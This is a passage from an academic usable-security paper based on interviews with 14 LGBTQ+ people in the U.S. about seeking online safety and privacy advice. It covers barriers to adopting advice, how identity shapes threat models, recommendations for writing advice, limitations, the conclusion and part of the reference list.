talk with children online). P3 tried to learn how to block
plastic-surgery related tags which triggered her anxiety
on TikTok, but found the app does not have that func-
tionality. And finally, P4 could not find a way to force
people to untag his pre-transition photos.

4.2.3 Advice would interfere with material liveli-
hood

As we discuss more below, people’s identities are multi-
faceted. As a result, identity-specific advice to be more
cautious online sometimes interferes with their other
goals and/or other parts of their identities: for example,
participants who also relied on social media for work and
income.

For example, P4, a writer, made his Facebook account
private after a friend had their social media account du-
plicated. Eventually, he made his account public again:

[A friend would say] ’It’s such a great post, I
want to share it,’ and I’m a writer, and so I’d
be like yeah I wrote this this long thing that I
would love for you to share but you can’t....It’s
not that I’m trying to get exposure on my per-
sonal profiles, but I’d like to get my name out
there and that was counter-intuitive.

P8, who had their Instagram business account dupli-
cated by a scammer, also did not like the advice to make
their account private because doing so would harm their
business. P10 mentioned giving advice to a friend who
is an event promoter, who was trying to deal with un-
solicited messages on his promoter social media page.
While P10 suggested to make a separate personal page,
his friend did not take this advice, which P10 mused
was because, “I guess when you do promotions in the
gay world, everyone is your friend.” One could see the
reverse as well, that every friend is a potential event
attendee. These examples illustrate how social media
use is sometimes tied to income, and ultimately, finan-
cial well-being, which limits people’s options for dealing
with privacy concerns.
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4.2.4 Advice would interfere with joy and relation-
ships

Aside from convenience, participants also noted trade-
offs of losing human connection and joy as reasons to
not adopt certain security or privacy measures, showing
the role emotion plays around security concerns [85], as
well as in decision-making in general [30]. Participants
who were concerned about harassment on social media
or threats from online dating considered the trade-off of
using more cautious safety behaviors versus missing po-
tential connection with others.

P14, although she had experienced trolls harassing her
on Facebook, did not like the idea of making her account
private because having a public account allowed her to
meet new people: “It was good to be open to new people
in a safe way.”

Other participants also considered romantic and sexual
connections in their decisions. P3 stated that while she
found “don’t show your face in sexts” to be reasonable
advice, she did not follow it for “vanity reasons”. P2,
a trans woman, is concerned about being vulnerable to
a trans or gay panic defense, where someone can excuse
assault or murder by blaming the victim’s gender identity
or sexual orientation for the assailant’s actions [7].

At the same time, P2, who is in her 50s, transitioned
and made a lot of life changes in the past couple years,
and so will “swing for the fences....I’m just gonna try to
live before I die....and make up for lost time.” For her,
that means dating as much as possible. While she does
take precautions for her physical safety by deciding to
disclose in her online profile that she is trans and tell a
friend if she will meet someone, she is “apprehensive of
this in terms of communications through social media.
I’m expecting a lot of transphobia.”

These examples indicate how while folks value their
personal safety, they also value joy and connections in
their life. Advice and online safety options for queer
folks ideally would not decrease their opportunities to
have positive relationships with others, particularly since
queer stigma already decreases access to relationships.
And as other research notes, there are benefits to visibil-
ity for queer folks [28].

4.2.5 Distrust in advice source

Some participants mentioned they would not turn to a
source or did not trust the advice they saw there. Rea-
sons included that they didn’t want to be sold something
(echoing [88]), or they didn’t trust the source given how
the source’s interests differed from their users.

For example, P5, when looking for a VPN that did not
sell data to third-parties, searched the web for guides that
were not trying to market VPNs to them. They ended

up relying on a guide created by what they considered a
reputable source, like Wired or Technology Review.

P8 expressed a similar sentiment when explaining why
they did not search the Internet for what to do after their
Instagram account got duplicated: “I think I’m also fear-
ful that I’d be sold something. I have that experience,
and I didn’t buy anything and nothing bad happened.”

Some participants turned to platforms themselves for
information on how to manage their privacy or safety.
But they did not always trust that the platform would pri-
oritize user interests over their own. P11 stated about
Reddit,

...there’s some mistrust that I have with some
of these platforms where I’m like...do they ac-
tually want anonymity? Or do they actually
want people to be...moving in this direction
where like you have a profile and like, they can
personalize things for you right? There’s more
gain for the business, I think, to do that, than
there necessarily could be for me.

4.2.6 Advice becoming out-of-date

Some participants had difficulty using the Internet to find
up-to-date security information. P1 tried to find how to
change a Facebook privacy setting, but could not find
updated advice that worked for their new version of An-
droid OS. When searching for how to make his Facebook
more secure, P4 found it helpful that the guide he found
had additional user comments

saying like this is outdated. They don’t do
this anymore. Or, that’s not how that technol-
ogy works, like almost fact checking the peo-
ple and saying, you know, this little thing you
said was inaccurate or...yes thank you so much,
you’ve helped me.

As P3 and Reeder et al. noted, technology constantly
changes, so solutions and threats can also change [90].

4.2.7 Sense of futility in adopting behaviors

Finally, a general barrier we observed to adopting advice
was a sense of futility, that any actions a person might
take would not address the issue they were concerned
about.

For example, after their friend got doxxed, P1 (both
of them activists) searched for privacy-enhancing behav-
iors, while their friend thought, “Well, it’s all out there
now. There’s not much I can do”. P9 was also concerned
about having worse backlash if she tries to take action,
like asking a site to take down her personally identifi-
able information, citing the “Streisand effect”: “the phe-
nomenon whereby the attempt to suppress something
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only brings more attention or notoriety to it.” [11]. This
discouraged her from looking for recourse.

Referencing their identities, P2 and P6 both expressed
an acceptance that their engaging in social media or on-
line dating is always going to come with some threat of
transphobic people, even with their mitigating behaviors.
P6, who never uses the word TERF (trans-exclusionary
radical feminist) on Twitter so that transphobes don’t find
her tweet and harass her, notes that one of her tweets did
go viral once which led to some exposure to harassers.

[Some people,] anytime they see trans peo-
ple existing online they decide to harass them
when they show up on their feed....anytime you
get to a big enough reach with a tweet, it’s kind
of inevitable that some shitty people will see it
and want to be shitty at you.

P2 gave up trying to report harassers on Facebook, be-
cause:

It seems like people can catch a ban for some-
thing, just for calling someone a bigot for ex-
ample. But if you actually try to report a trans-
phobic comment, they’re not going to care.

She instead only blocks people on Facebook (whereas
on Twitter she will both block people and report people
for transphobia). Similarly, P14 distrusted Facebook for
banning her for using a term for underwear, but not ban-
ning a poster for homophobic content. This compounded
with her distrust when she had blocked a homophobic
harasser, but the harasser came back. She blamed Face-
book for blocking not working (whether harasser made a
second account or got around the block or ban remains
unclear).

Our participants are not alone in their sense of fu-
tility. Indeed, Hoffman et al. propose that this world
view is actually very rational: “privacy cynicism” is
a coping mechanism for Internet users dealing with
institution-level, often insurmountable, threats [65]. This
coping mechanism may also extend to culture-based
threats [22], given, as our participants described, that
there are many transphobic and homophobic users on-
line, and moderation policies do not always adequately
address this. Our participants did react to threats from
their immediate social environment, e.g., cyberbullying,
which Hoffman et al. notes is where fatalism is least
strong. We discuss the necessity of moving responsi-
bility of safety from vulnerable individuals to powerful
institutions in Section 5.2.2.

4.3 Identity
While most participants mentioned safety concerns re-
lated to their sexual orientation or gender, they also

had overlapping and non-overlapping concerns related
to other aspects of their identity, such as their race or
age. We discuss how these different facets, including
gender more in-depth, impact what advice participants
seek based on their threats, and impact their perceptions
of advice.

Transitioning. Transitioning is the process where one
changes one’s gender presentation to match one’s inter-
nal sense of identity. Transitioning while on social media
can lead to both stress and support [52], and can result in
shifting threat models and security needs.

For P4, who didn’t want to publicly transition on Face-
book during early 2010s, the process led him to search
how to force people to untag him from old pre-transition
photos.

There was either no information or there was
no way to do it. So, some of that stuff still ex-
ists because those people either no longer use
Facebook, or just didn’t do it....I wish there had
been like here’s a step by step guide of how
to clean up your social media without delet-
ing your entire account and restarting it. Most
places I searched would say just start over.

This reflects prior work indicating that transitioning
users either try to remove old photos or change visibil-
ity of those photos on Facebook [53].

P1 also experienced this difficulty of trying to get
others to untag their old photos. For P5 (non-binary),
transitioning and getting top surgery led to them getting
less unsolicited messages, as they no longer presented or
were perceived as femme.

Parental Responsibility. After P2 transitioned, she took
certain actions to protect her son from transphobic harm,
reflecting other queer parents considering their children’s
privacy [23]. She doesn’t bring up her son’s name online
because:

I just don’t want [a] transphobe [to] somehow
infiltrate my [Facebook] friends list and then
track him down and cause him harm. I don’t
put the name of the school or anything like
that....I would [also] try to make sure I didn’t
have any identifying information in the back-
ground of the [school] photo for example so
that they can figure out where it is....That’s
probably my biggest fear right now, that my
son will get bullied or worse, or otherwise, or
hurt because of me.

Age. P8 (non-binary, 45-54) also discussed getting un-
solicited sexual messages and accepting that risk as part
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of navigating the world while feminine-presenting. She
added though, “the older I get the more invisible I am.”

For P14 (65-74), aging was an accumulation of stress-
ful discrimination, because of her mobility impairment,
religion, and sexuality. She did not want to take the time
to learn how to make her church’s page private after re-
ceiving homophobic harassment because, “When you get
old enough and lesbian enough, then you try to deal with
that kind of stressful stuff as fast as possible and move
on.”

Gender. Women are more likely to receive online sexual
harassment and stalking than men [100]. We previously
detailed how some of our participants, when interpreted
as femme, received unsolicited messages. And P3, a cis
woman, stated she found it harder to find dating safety
advice for queer women than for gay men. Future re-
search should study the quantity and quality of advice
that is available to queer sub-communities.

Race. Race also affected how people felt about their
risks moving through the world, as described above. P9
stated, “I’m a white person, so I’ve never been afraid of
being a white person on the Internet.”

P11 was concerned about dating for both his Asian
friend and himself, due to the risk of being stereotyped
as submissive and someone aggressive attempting to take
advantage of them.

I think being an Asian man that is queer,
there’s also these fears of being objectified or
sexualized and perceived as being submissive.

He also ruminated on his identity and how that might
affect how he perceives online dating advice: “It does
feel really fear-based and fear-driven, you know, which I
think like in Asian culture can be a big thing.”

Relationship with the state. Race also impacted opin-
ions on advice related to the police. When asked whether
they found the advice of having a police app (an app
that will instantly dial the police with the user’s location)
handy during a date, P10 (biracial, Black and white) said
he would never use it because he’s been racially profiled
in a gay neighborhood. He stated,

“The police start questioning me about where
do I live, am I homeless....[This incident] re-
ally ticked me off because, I’m gay, it’s the
[gay neighborhood], that’s supposed to be my
community.”

P5 (non-binary, autistic) also did not like the advice,
citing previous incidents of police acting violently to-
wards queer and/or autistic individuals. P11 stated it
could be useful to someone to give them a sense of secu-
rity, but he would never call the police on a date. P4 (gay,

cis man) didn’t trust the police to show up and doing any-
thing, because they ignored his friend getting beat up by
a hook-up since the friend and hook-up were both men.
He said he trusts friends more, similar to P2. Different
aspects of their identities affected participant’s relation-
ship with the state and with the utility of the police app
advice.

Harms within queer communities. Many participants
had queer friends they trusted and could turn to, but this
coexists with the reality that queer individuals can also
harm other queer individuals. Scheuerman et al. found
that transgender folks can experience harm online from
both outsiders and insiders of a queer community [92].

Examples of peer-to-peer harms included invalidating
a specific identity (e.g., bisexuality [104] or non-binary)
within a queer space. P5 mentioned that one time they
disagreed in a Twitter thread about how to use pronouns.

I got shouted down by another queer person....I
try to stay away from people who are yelling at
other queer people.

Advice should specify if the threat model is potential
harms from within a community itself or from outside.

5 Discussion and Future Work

We review the implications of our findings for the de-
velopment of security advice, for security research more
broadly, and areas of investigation for future research.

5.1 Takeaways for Better, Inclusive Safety
and Security Advice

Here we provide takeaways for how advice can be im-
proved for queer and non-queer folks, both for commu-
nicating advice through conversation, or through written
documents that contain advice.

5.1.1 Accept there is no one-size-fits all advice

While mitigations can transfer to other contexts, there is
not always a universal solution to a threat because peo-
ple have different values and circumstances in life [39],
as well as different threat models. While some behav-
iors were common and discussed positively (like block-
ing people who were causing harm), participants differed
on other points such as whether to make social media ac-
counts private. Some of our participants did so to avoid
information leakage, and others did not because they
needed or wanted social exposure. A behavior option
that impairs joy or financial stability is not a fair choice.
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Specificity is better than consistency. While Reeder
et al. noted that it is an issue when advice is inconsis-
tent across multiple sources [90], we suggest that con-
sistency is not, perhaps the most important goal. In-
stead, specificity—as we describe approaches below—
may better enable people to have autonomy in evaluating
what advice is most appropriate for their individual situ-
ation. Wade et al. also noted this issue of not including
validation or reasoning in BLM protestor advice [103].
Furthermore, Reeder et al. noted technology and other
factors change over time, so efforts to create fully consis-
tent advice may find themselves quickly outdated [90].

Provide explanations. To achieve specificity, docu-
ments should explain the reasoning behind advice, mir-
roring how in-person questions allow follow-up ques-
tions, for example. Providing reasoning can, however,
conflict with another prior recommendation for the cre-
ation of security advice: concision. Our results suggest
that concise advice may also not be ideal. P4 and P5
both mentioned researching articles to find the advice
they were looking for, and the detailed explanations of
how technology could be used increased their trust in the
article. And P9, when prompted with the advice “Use
a private account,” asked for an explanation of why one
should do that before she could say it was good advice or
not. As Berdan writes about security advice for journal-
ists, “good advice is rarely a punchy soundbite” [20].

While adding “hows” and “whys” will lengthen docu-
ments, advice could be shortened by focusing on a spe-
cific threat to mitigate. For example, rather than writ-
ing a general online safety advice list for queer folks,
a document could focus on a specific platform (e.g.
Grindr [4], Instagram [8]), activity (e.g. transitioning, ac-
tivism), or threat (e.g., being outed to family and friends,
community in-fighting, extortion scams on queer dating
apps [6]). Advice could be tailored towards platform
novices or platform experts, especially given prior work
suggesting differences in protective behavior amongst
those with different levels of digital skill [58, 32].

5.1.2 Share emotional and communal support with
advice

Communication research has pointed out that advice pre-
ceded by emotional support was considered higher qual-
ity [44]. Security clinic professionals provide emo-
tional support as part-and-parcel of their service [101],
which is necessary for clients facing intimate partner vi-
olence [102]. In community security workshops, reliev-
ing anxiety and making sure participants feel in control
of their lives is an important part of the security teach-
ing/learning process [14]. While our work cannot discern
whether or not participants were more likely to accept
advice when it came with emotional support, several of

our participants did seek it out, and P12 spoke positively
when the friend she turned to after a cyber-bullying inci-
dent provided it.

Further, P4 discussed how his trans men support group
would “compare notes about what we were doing” when
providing advice. He was looking for information on
whether to delete his old account prior to his transition or
to just untag all photos, and people in his group described
their experience doing different things before P4 made
his decision. (He opted to untag photos so he wouldn’t
get questions about why his Facebook account was so
new.) Thus, his group was engaged in collaborative ad-
vice giving, perhaps leading to group members feeling
less alone in their struggles.

Support security workshops and existing support
groups. Given how our results indicate the benefit of
support groups as a space to ask questions and share ex-
periences, as well as provide emotional support, safety
advice may be better discussed in a group setting. As
Slupska et al. writes, “Cybersecurity is more effective
when it is communal...Discuss[ing] online threats and
mitigations with members of a community makes it eas-
ier and less intimidating to take action.”

This can look like security researchers hosting com-
munity workshops, e.g., CryptoHarlem [3], Reconfigure
Network, and PEN America [12]. It could also look
like security researchers providing resources for existing
queer support groups in some fashion. These cybersecu-
rity advocates need to have “people skills”, empathy, and
respect for user capabilities in order to establish trusting
relationships and empower users to believe in their own
abilities [54, 55].

Research with other stigmatized groups have also
shown the importance of online discussion forums and
communities for developing and distributing risk miti-
gation strategies, such as sex workers [21]. For online
settings, creating affordances for collaborative discus-
sion and feedback on advice documents may create better
buy-in, sense of emotional support, and ability to archive
out-of-date advice. Regardless of the format, it is impor-
tant that the advice-giver listens to the individual’s needs
as they are experts in their own lives [14, 95].

5.1.3 Communicate credibility

As prior advice research [89], credibility research [80],
and our results show, participants distrusted sites that
seemed to market a product. Credible advice should not
look like it is selling something. Future work should look
at what degree of marketing content that credibility drops
off, e.g., a social media site with poor reputation versus
a blog with some advertisements.

Also, some participants distrusted privacy instructions
on platform sites, since they consider platforms to pri-
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oritize business interests over user harm. Therefore it is
important for third parties, like the Electronic Frontier
Foundation [10], to continue writing advice and instruc-
tions on controlling security and privacy settings. At the
same time, platforms should still provide instructions for
security settings as well, given that participants chose to
look there.

5.2 Takeaways for Security Research
5.2.1 Incorporating intersectionality in security re-

search

Our findings with our diverse participants underscore
an intersectional understanding of power and threats,
which we argue should be considered systematically
when threat modeling. Some intersectionality themes
relevant to social factors security research include:

1. Someone marginalized across multiple identities
may not have the same agency to reduce harm as
someone marginalized across one identity [37].

2. Members of one marginalized group can harm an-
other marginalized group. As Collins writes, “De-
pending on the context, an individual may be an op-
pressor, a member of an oppressed group, or simul-
taneously oppressor and oppressed” [63].

3. Oppression (and harm) can come from interpersonal
connections, culture, disciplinary structures, or in-
stitutions [22], and an individual under threat in one
relationship might have agency in a different rela-
tionship.

As the security field continues to research specific
populations, an intersectional approach will be useful to
understand how the threats within one population may
differ. Recruiting a diverse set of queer participants
was important for us to illustrate how people often had
concerns related to multiple axes of identity, e.g., being
Asian American and gay. For some, concerns related to
another identity were prioritized over their queerness in
the moment of the interview. These examples show how
in different contexts, one axis of oppression might be
more relevant than others, and threat modeling for some-
one should explore these priorities. We argue that differ-
ences are just as important to study and design for as gen-
eralities, since there is no universal technology user [35].

These intersectional identities also affected what ad-
vice would work or participants could afford to adopt:
P8 was not able to make their business Instagram pro-
file private after being harassed due to potential loss of
customers, and multiple participants did not trust report-
ing homophobic and transphobic posts to Facebook be-
cause they have seen such posts remain up. The power

difference between the individual and adversary affects
one’s sense of agency in controlling one’s safety. Mak-
ing power imbalances explicit in threat modeling is im-
portant to understanding what mitigations an individual
is capable of, and when structural changes are necessary.

While this framework surfaces how the queer experi-
ence is not a monolith, it also reveals when harm mitiga-
tions are transferable to others (which Wang also men-
tions as a motivation to pursue inclusive security and pri-
vacy [106]). For example, Nova et al. recommends that
online platforms design group-level blocking functional-
ity, as people of the queer Hijra identity from Bangladesh
are “significantly influenced by their group dynamics and
largely dependent on the sharing of information within
communities” [81]. P14 had difficulty learning to block
a harasser in her elder lesbian Facebook group, and could
benefit from this affordance. Reichel also notes that
low-income South African mobile users rely on block-
ing rather than Facebook settings for privacy protec-
tion [91]. Future work could explore when similar ef-
fects of marginalization across different groups can lead
to similar threat models, as well as when affordances are
common enough across platforms (e.g., blocking) that it
can be recommended generally.

5.2.2 Limitations of security advice as personal re-
sponsibility

While improving security advice for queer individuals is
important, advice as a solution for harms is limited be-
cause it places an overwhelming responsibility on an in-
dividual [74, 95]. Individual behaviors will not always
work because a) the problems folks face may involve
other people (e.g., networked privacy [74]), and b) when
institutions are the threat, individuals don’t have equal
resources and power.

Prior research notes that managing security and pri-
vacy can be a communal goal [81, 60, 107], and that be-
cause privacy is networked, one person’s disclosure de-
cisions inevitably affect their entire social circle [75, 74].
And as mentioned earlier, some of P2’s privacy behaviors
around her being transgender is to protect her son. Ad-
vice can be formulated with a community in mind, such
as Pen America’s online harassment guide for witnesses
and allies [12].

Individual or communal advice also has limits when
threats are powerful institutions, such as corporations
or governments, or culture (e.g., transphobia). The fu-
tility some of our participants experienced around on-
line harms are clearer with this context, and moving re-
sponsibility of safety to those in power would better ad-
dress certain threats. Research on problematic content in
ads [108], privacy policy unreadability [77], sex worker
safety [19], prisoner surveillance [82], undocumented
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immigrant surveillance [51], to name a few contexts, all
recommend government or platform policy changes to
best protect their target users. We support and contribute
research to improve safety advice, while also pointing
out the necessity of structural changes to make queer
lives safer (e.g., banning gay/trans panic defense [7],
communal blocking on platforms [1]).

5.3 Future Work
Our work focuses on queer folks in the U.S., but there are
other contexts security advice can be analyzed through
other than by community or population. Pierce et al. out-
lined spectrums of security toolkit traits: some toolkits
were designed to be used before an incident (preventa-
tive) or after (provoked responses), and some were de-
signed to be done once or done regularly (security hy-
giene) [83]. Future research could look into how secu-
rity advice meant for regular checkups might work better
as a concise checkbox list, particularly for those already
familiar with security behaviors, while something com-
municated after an incident may require more tact and
emotional support.

For support groups, we raise the question of when
”technical” experts are needed, and what kind of exper-
tise is lacking. If experts are integrated into a group, how
do you train an expert to ensure they are suited for their
outsider role? Future research can explore collaborat-
ing with online support groups to understand how ad-
vice gets adopted, as online support groups have been
known to provide advice and emotional support for spe-
cific communities [15, 76, 18]. Finally, it remains an
open question whether seeing conflicting advice lowers
users’ trust in an advice source.

While we used threat modeling to help organize our
results, we did not follow particular information-seeking
theories. Health research has differently modeled seek-
ing safety information related to risk, e.g., diseases or
natural disasters [29]. Future advice research could in-
corporate theory outside security, e.g., the planned risk
information seeking model [67].

Finally, we ask when is it better to study a specific
threat model or platform versus a specific identity when
it comes to designing for harm mitigation or educating
for harm mitigation.

6 Limitations

This research scratches the surface of queer-intersecting
identities that lead to other vulnerabilities (e.g. LGBTQ+
refugees [17], sex workers [72], HIV positive folks [70],
victims of intimate partner violence [42], activists [69],
and parents [23] as a non-exhaustive list) or different
contexts (non-U.S. cultures and nationalities [17, 81]).

We provide a foundation for security researchers to think
intersectionally when threat modeling and addressing
harms when multiple identities play a role in risk.

Our work faces limitations common to qualitative
work: we cannot evaluate the popularity of a source or
test statistical significance of identity factors on decision-
making. We leave this to future work.

We believe our general insights into traits of good ad-
vice is transferrable to other contexts [59], but future
research is needed to understand when and where spe-
cific advice (e.g., “use a private account”) works best.
Our work also focuses on queer folks generally, includ-
ing both cisgender and transgender individuals. As noted
earlier, transgender individuals face specific vulnerabil-
ities [69], and advice research with transgender folks
specifically is also needed.

7 Conclusion

We studied where LGBTQ+ folks in the U.S. turn to for
safety, security, and privacy advice because this popula-
tion faces unique threats from their families, communi-
ties, and the state due to homophobia and transphobia.
Through qualitative interviews with 14 diverse queer in-
dividuals, we found participants turned to queer support
groups, whom they trusted and often shared threat mod-
els with, for help, in addition to other sources listed in
prior security advice work. Participants cited loss of
business or joy of connecting with others as reasons to
not adopt advice, in addition to inconvenience.

Other aspects of identity like race and age played a
role in what threats participants expected and looked to
advice for. We recommend that advice favor specificity
over consistency because different identities can lead to
different threat models. We also argue for using intersec-
tionality to understand how interlocking identities lead to
higher risk of harms or constrain what mitigating behav-
iors people can adopt. We also echo calls for policy and
other structural approaches to make marginalized popu-
lations safer, rather than only focusing on personal re-
sponsibility to find good advice. Finally, our work pro-
vides a foundation for understanding how overlapping
identity threat models affect advice-seeking.

8 Acknowledgements

We thank our study participants for sharing their perspec-
tives and time with us. We thank Sheamus Heikkila, Ta-
dayoshi Kohno, Naveena Karusala, Lucy Simko, Emily
Tseng, and Miranda Wei for their valuable feedback.
We thank Seattle AARP and the Reddit moderators of
r/gaysian for their help in recruiting participants. This
work was supported in part by a gift from Google.

USENIX Association 31st USENIX Security Symposium    317



References
[1] Block together is shut down. https://blocktogether.

org/. (Accessed on 10/08/2021).

[2] Catholic school teacher reportedly fired after being outed as
gay — teen vogue. https://www.teenvogue.com/story/

catholic-school-teacher-reportedly-fired-after-

outed-as-gay. (Accessed on 10/07/2021).

[3] Cryptoharlem. https://www.cryptoharlem.com/. (Ac-
cessed on 09/16/2021).

[4] GRINDR HOLISTIC SECURITY GUIDE. Grindr
4 Equality, https://www.grindr.com/g4e/G4E-

HolisticSecurityGuide-English.pdf. (Accessed on
02/07/2021).

[5] Health Disparities Among LGBTQ Youth — Health Dispar-
ities — Adolescent and School Health — CDC. https:

//www.cdc.gov/healthyyouth/disparities/health-

disparities-among-lgbtq-youth.htm. (Accessed on
10/07/2021).

[6] How to spot extortion scams on LGBTQ+ dating
apps — FTC Consumer Information. FTC, https:

//www.consumer.ftc.gov/blog/2021/09/how-spot-

extortion-scams-lgbtq-dating-apps. (Accessed on
09/17/2021).

[7] Movement Advancement Project — Gay/Trans Panic De-
fense Bans. https://www.lgbtmap.org/equality-maps/

panic_defense_bans. (Accessed on 09/30/2021).

[8] PROTECT YOUR SPACE AND WELL-BEING ON
INSTAGRAM. The Trevor Project, https://www.

thetrevorproject.org/wp-content/uploads/2019/

06/IG-x-Trevor-Project_LGBTQ-Safety-Guide.pdf.
(Accessed on 02/07/2021).

[9] Serving Our Youth: Findings from a National Survey
of Service Providers Working with Lesbian, Gay, Bi-
sexual, and Transgender Youth who are Homeless or
At Risk of Becoming Homeless. Williams Institute,
https://williamsinstitute.law.ucla.edu/wp-

content/uploads/Serving-Our-Youth-July-

2012.pdf. (Accessed on 10/07/2021).

[10] Surveillance self-defense — tips, tools and how-tos for safer on-
line communications. Electronic Frontier Foundation, https:
//ssd.eff.org/. (Accessed on 10/12/2021).

[11] Words We’re Watching: ’Streisand effect’ — Merriam-Webster.
https://www.merriam-webster.com/words-at-play/

words-were-watching-streisand-effect-barbra.
(Accessed on 10/02/2021).

[12] Writers at Risk - PEN America. https://pen.org/issue/

writers-at-risk/. (Accessed on 09/16/2021).

[13] Dismantling a Culture of Violence: Understanding Anti-
Transgender Violence and Ending the Crisis. https:

//hrc-prod-requests.s3-us-west-2.amazonaws.com/

files/assets/resources/Dismantling-a-Culture-

of-Violence-010721.pdf, Dec 2020. (Accessed on
10/07/2021).

[14] Reconfigure: Feminist Action Research in Cybersecurity.
Oxford Internet Institute, https://www.oii.ox.ac.uk/wp-
content/uploads/2021/01/Reconfigure-Report-v6-

pages.pdf, Feb 2021.

[15] AMMARI, T., AND SCHOENEBECK, S. Understanding and sup-
porting fathers and fatherhood on social media sites. In Pro-
ceedings of the 33rd annual ACM conference on human factors
in computing systems (2015), pp. 1905–1914.

[16] ANDERSON, M., VOGELS, E. A., AND TURNER, E. Online
Dating: The Virtues and Downsides — Pew Research Center.
https://www.pewresearch.org/internet/2020/02/

06/the-virtues-and-downsides-of-online-dating/.
(Accessed on 10/07/2021).

[17] ANDREASSEN, R. Social media surveillance, LGBTQ refugees
and asylum. First Monday (2021).

[18] BARAKAT, H., AND REDMILES, E. M. Community Under
Surveillance: Impacts of Marginalization on an Online Labor
Forum. In 16th International AAAI Conference on Web and So-
cial Media (2021).

[19] BARWULOR, C., MCDONALD, A., HARGITTAI, E., AND
REDMILES, E. M. “Disadvantaged in the American-Dominated
Internet”: Sex, Work, and Technology. In Proceedings of the
2021 CHI Conference on Human Factors in Computing Systems
(New York, NY, USA, 2021), CHI ’21, Association for Com-
puting Machinery.

[20] BERDAN, K. An evaluation of online security guides
for journalists. https://cltc.berkeley.edu/wp-

content/uploads/2021/01/Online_Security_Guides_

for_Journalists.pdf.

[21] BERNIER, T., SHAH, A., ROSS, L. E., LOGIE, C. H., SETO,
E., ET AL. The use of information and communication tech-
nologies by sex workers to manage occupational health and
safety: scoping review. Journal of medical internet research
23, 6 (2021), e26085.

[22] BILGE, S., AND COLLINS, P. H. Intersectionality. Cambridge,
UK: Polity (2016).

[23] BLACKWELL, L., HARDY, J., AMMARI, T., VEINOT, T.,
LAMPE, C., AND SCHOENEBECK, S. LGBT parents and so-
cial media: Advocacy, privacy, and disclosure during shifting
social movements. In Proceedings of the 2016 CHI conference
on human factors in computing systems (2016), pp. 610–622.

[24] BLUE, V. The Smart Girl’s Guide to Privacy: Practical Tips for
Staying Safe Online. No Starch Press.

[25] BRAUN, V., AND CLARKE, V. Using thematic analysis in psy-
chology. Qualitative research in psychology 3, 2 (2006), 77–
101.

[26] BRAUN, V., AND CLARKE, V. Conceptual and design thinking
for thematic analysis. Qualitative Psychology (2021).

[27] BURKETT, M. Sex (t) talk: A qualitative analysis of young
adults’ negotiations of the pleasures and perils of sexting. Sexu-
ality & Culture 19, 4 (2015), 835–863.

[28] CARRASCO, M., AND KERNE, A. Queer visibility: Support-
ing LGBT+ selective visibility on social media. In Proceedings
of the 2018 CHI Conference on Human Factors in Computing
Systems (2018), pp. 1–12.

[29] CASE, D. O., AND GIVEN, L. M. Looking for information: A
survey of research on information seeking, needs, and behavior.
Emerald Group Publishing, 2016.

[30] CHAI, S. Choosing an identity: A general model of preference
and belief formation. University of Michigan Press, 2001.

[31] CHEN, C., DELL, N., AND ROESNER, F. Computer security
and privacy in the interactions between victim service providers
and human trafficking survivors. In 28th USENIX Security Sym-
posium (USENIX Security 19) (2019), pp. 89–104.

[32] CHEN, J., PAIK, M., AND MCCABE, K. Exploring inter-
net security perceptions and practices in urban ghana. In 10th
Symposium On Usable Privacy and Security (SOUPS) (2014),
pp. 129–142.

[33] CITRON, D. K. Hate crimes in cyberspace. Harvard University
Press, 2014.

318    31st USENIX Security Symposium USENIX Association



[34] COBB, C., AND KOHNO, T. How public is my private life? pri-
vacy in online dating. In Proceedings of the 26th International
Conference on World Wide Web (2017), pp. 1231–1240.

[35] COSTANZA-CHOCK, S. Design justice: Community-led prac-
tices to build the worlds we need. The MIT Press, 2020.

[36] CRENSHAW, K. Demarginalizing the intersection of race and
sex: A black feminist critique of antidiscrimination doctrine,
feminist theory and antiracist politics. u. Chi. Legal f. (1989),
139.

[37] CRENSHAW, K. Mapping the margins: Intersectionality, iden-
tity politics, and violence against women of color. Stan. L. Rev.
43 (1990), 1241.

[38] DEVITO, M. A., WALKER, A. M., AND BIRNHOLTZ, J. ’Too
Gay for Facebook’ Presenting LGBTQ+ Identity Throughout
the Personal Social Media Ecosystem. Proceedings of the ACM
on Human-Computer Interaction 2, CSCW (2018), 1–23.

[39] DOURISH, P., GRINTER, R. E., DE LA FLOR, J. D., AND
JOSEPH, M. Security in the wild: user strategies for managing
security as an everyday, practical problem. Personal and Ubiq-
uitous Computing 8, 6 (2004), 391–401.

[40] DROUIN, M., COUPE, M., AND TEMPLE, J. R. Is sexting
good for your relationship? It depends. . . . Computers in Human
Behavior 75 (2017), 749–756.

[41] DYM, B., AND FIESLER, C. Social norm vulnerability and
its consequences for privacy and safety in an online commu-
nity. Proceedings of the ACM on Human-Computer Interaction
4, CSCW2 (2020), 1–24.

[42] ELLIOT, P. Shattering illusions: Same-sex domestic violence.
Journal of Gay & Lesbian Social Services 4, 1 (1996), 1–8.

[43] FAGAN, M., AND KHAN, M. M. H. Why do they do what they
do?: A study of what motivates users to (not) follow computer
security advice. In Twelfth Symposium on Usable Privacy and
Security (SOUPS) (2016), pp. 59–75.

[44] FENG, B. Testing an integrated model of advice giving in sup-
portive interactions. Human Communication Research 35, 1
(2009), 115–129.

[45] FRIK, A., NURGALIEVA, L., BERND, J., LEE, J., SCHAUB,
F., AND EGELMAN, S. Privacy and security threat models and
mitigation strategies of older adults. In Fifteenth Symposium on
Usable Privacy and Security (SOUPS) (2019), pp. 21–40.

[46] GAY, L., NETWORK, S. E., ET AL. Out online: The expe-
riences of lesbian, gay, bisexual and transgender youth on the
internet. New York, NY (2013).

[47] GEENG, C. LGBTQ privacy concerns on social media. In Pro-
ceedings of the 2018 CHI Conference Workshops and Symposia
on Human Factors in Computing Systems, ACM Press.

[48] GEENG, C., HUTSON, J., AND ROESNER, F. Usable sexu-
rity: Studying people’s concerns and strategies when sexting. In
Sixteenth Symposium on Usable Privacy and Security (SOUPS)
(2020), pp. 127–144.

[49] GRAY, M. L. Negotiating identities/queering desires: Coming
out online and the remediation of the coming-out story. Jour-
nal of Computer-Mediated Communication 14, 4 (2009), 1162–
1189.

[50] GRAY, M. L. Out in the Country. New York University Press,
2009.

[51] GUBEREK, T., MCDONALD, A., SIMIONI, S., MHAIDLI,
A. H., TOYAMA, K., AND SCHAUB, F. Keeping a Low Pro-
file?: Technology, Risk and Privacy among Undocumented Im-
migrants. In Proceedings of the 2018 CHI Conference on Hu-
man Factors in Computing Systems - CHI ’18, ACM Press,
pp. 1–15.

[52] HAIMSON, O. L., BRUBAKER, J. R., DOMBROWSKI, L., AND
HAYES, G. R. Disclosure, Stress, and Support During Gen-
der Transition on Facebook. In Proceedings of the 18th ACM
Conference on Computer Supported Cooperative Work & Social
